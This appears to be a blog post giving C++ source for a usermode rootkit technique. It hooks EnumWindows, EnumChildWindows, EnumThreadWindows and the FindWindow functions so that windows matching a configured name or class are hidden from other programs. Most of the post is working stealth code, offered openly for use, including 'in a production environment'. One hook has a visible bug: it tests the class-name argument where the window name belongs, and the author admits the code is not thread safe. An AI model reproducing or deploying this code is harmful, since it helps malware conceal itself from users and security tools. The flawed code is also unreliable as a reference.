Usermode Window Hiding
Yet another example of usermode rootkit tech. This one is designed to hide windows. One very important note for this is that the Enum* collection of hooks are NOT thread safe. It’s not hard to do, but I have decided to omit that for personal reasons.
// Hook EnumWindows
APIHook g_EnumWindows(”user32.dll”, “EnumWindows”, (PROC) EnumWindows_Hook);
// Hook EnumChildWindows
APIHook g_EnumChildWindows(”user32.dll”, “EnumChildWindows”, (PROC) EnumChildWindows_Hook);
// Hook EnumThreadWindows
APIHook g_EnumThreadWindows(”user32.dll”, “EnumThreadWindows”, (PROC) EnumThreadWindows_Hook);// Hook FindWindowA
APIHook g_FindWindowA(”user32.dll”, “FindWindowA”, (PROC) FindWindowA_Hook);
// Hook FindWindowW
APIHook g_FindWindowW(”user32.dll”, “FindWindowW”, (PROC) FindWindowW_Hook);
// Hook FindWindowExA
APIHook g_FindWindowExA(”user32.dll”, “FindWindowExA”, (PROC) FindWindowExA_Hook);
// Hook FindWindowExW
APIHook g_FindWindowExW(”user32.dll”, “FindWindowExW”, (PROC) FindWindowExW_Hook);WNDENUMPROC EnumCallback = NULL;
WNDENUMPROC EnumChildCallback = NULL;
WNDENUMPROC EnumThreadCallback = NULL;BOOL CALLBACK EnumWindowsFilterProc(HWND hwnd, LPARAM lParam)
{
std::vector<TCHAR> Temp(1024);
if (GetWindowText(hwnd, &Temp[0], static_cast<int>(Temp.size())))
{
std::tstring WindowText(&Temp[0]);
if (Config::Get()->ShouldHideWindowName(WindowText))
{
TDBGOUT(_T(”EnumWindows called! Hiding window: “) << WindowText <<
_T(”\”.”));
return TRUE;
}
}
return EnumCallback(hwnd, lParam);
}BOOL CALLBACK EnumChildWindowsFilterProc(HWND hwnd, LPARAM lParam)
{
std::vector<TCHAR> Temp(1024);
if (GetWindowText(hwnd, &Temp[0], static_cast<int>(Temp.size())))
{
std::tstring WindowText(&Temp[0]);
if (Config::Get()->ShouldHideWindowName(WindowText))
{
TDBGOUT(_T(”EnumChildWindows called! Hiding window: “) << WindowText <<
_T(”\”.”));
return TRUE;
}
}
return EnumChildCallback(hwnd, lParam);
}BOOL CALLBACK EnumThreadWindowsFilterProc(HWND hwnd, LPARAM lParam)
{
std::vector<TCHAR> Temp(1024);
if (GetWindowText(hwnd, &Temp[0], static_cast<int>(Temp.size())))
{
std::tstring WindowText(&Temp[0]);
if (Config::Get()->ShouldHideWindowName(WindowText))
{
TDBGOUT(_T(”EnumThreadWindows called! Hiding window: “) << WindowText <<
_T(”\”.”));
return TRUE;
}
}
return EnumThreadCallback(hwnd, lParam);
}BOOL WINAPI EnumWindows_Hook(WNDENUMPROC lpEnumFunc, LPARAM lParam)
{
EnumCallback = lpEnumFunc;
return ((tEnumWindows)(PROC)(g_EnumWindows))(EnumWindowsFilterProc,lParam);
}BOOL WINAPI EnumChildWindows_Hook(HWND hWndParent, WNDENUMPROC lpEnumFunc, LPARAM lParam)
{
EnumChildCallback = lpEnumFunc;
return ((tEnumChildWindows)(PROC)(g_EnumChildWindows))(hWndParent,EnumChildWindowsFilterProc,lParam);
}BOOL WINAPI EnumThreadWindows_Hook(DWORD dwThreadId, WNDENUMPROC lpfn, LPARAM lParam)
{
EnumThreadCallback = lpfn;
return ((tEnumThreadWindows)(PROC)(g_EnumThreadWindows))(dwThreadId,EnumThreadWindowsFilterProc,lParam);
}HWND WINAPI FindWindowA_Hook(LPCSTR lpClassName,LPCSTR lpWindowName)
{
try
{
SehGuard Guard;if ((lpClassName && Config::Get()->ShouldHideWindowName(lpWindowName)) ||
(lpClassName && Config::Get()->ShouldHideWindowClass(lpClassName)))
return NULL;
}
catch (const SehException& e)
{
e;
TDBGOUT(_T(”SEH Error:”) << std::endl << std::hex <<
“Code: ” << e.GetCode() << std::dec << _T(” File: “) <<
__FILE__ << _T(” Line: “) << __LINE__ << _T(”.”));
}return ((tFindWindowA)(PROC)(g_FindWindowA))(lpClassName,lpWindowName);
}HWND WINAPI FindWindowW_Hook(LPCWSTR lpClassName, LPCWSTR lpWindowName)
{
try
{
SehGuard Guard;if ((lpWindowName && Config::Get()->ShouldHideWindowName(lpWindowName)) ||
(lpClassName && Config::Get()->ShouldHideWindowClass(lpClassName)))
return NULL;
}
catch (const SehException& e)
{
e;
TDBGOUT(_T(”SEH Error:”) << std::endl << std::hex <<
“Code: ” << e.GetCode() << std::dec << _T(” File: “) <<
__FILE__ << _T(” Line: “) << __LINE__ << _T(”.”));
}
return ((tFindWindowW)(PROC)(g_FindWindowW))(lpClassName,lpWindowName);
}HWND WINAPI FindWindowExA_Hook(HWND hWndParent, HWND hWndChildAfter, LPCSTR lpszClass,
LPCSTR lpszWindow)
{
try
{
SehGuard Guard;if ((lpszWindow && Config::Get()->ShouldHideWindowName(lpszWindow)) ||
(lpszClass && Config::Get()->ShouldHideWindowClass(lpszClass)))
return NULL;
}
catch (const SehException& e)
{
e;
TDBGOUT(_T(”SEH Error:”) << std::endl << std::hex <<
“Code: ” << e.GetCode() << std::dec << _T(” File: “) <<
__FILE__ << _T(” Line: “) << __LINE__ << _T(”.”));
}
return ((tFindWindowExA)(PROC)(g_FindWindowExA))(hWndParent,hWndChildAfter,
lpszClass,lpszWindow);
}HWND WINAPI FindWindowExW_Hook(HWND hWndParent,HWND hWndChildAfter, LPCWSTR lpszClass,
LPCWSTR lpszWindow)
{
try
{
SehGuard Guard;if ((lpszWindow && Config::Get()->ShouldHideWindowName(lpszWindow)) ||
(lpszClass && Config::Get()->ShouldHideWindowClass(lpszClass)))
return NULL;
}
catch (const SehException& e)
{
e;
TDBGOUT(_T(”SEH Error:”) << std::endl << std::hex <<
“Code: ” << e.GetCode() << std::dec << _T(” File: “) <<
__FILE__ << _T(” Line: “) << __LINE__ << _T(”.”));
}
return ((tFindWindowExW)(PROC)(g_FindWindowExW))(hWndParent,hWndChildAfter,
lpszClass,lpszWindow);
}
Notes:
- Would love to hear comments/suggestions
- There are some minor bugs you’ll need to take care of if you want to use this in a production environment
- Not thread safe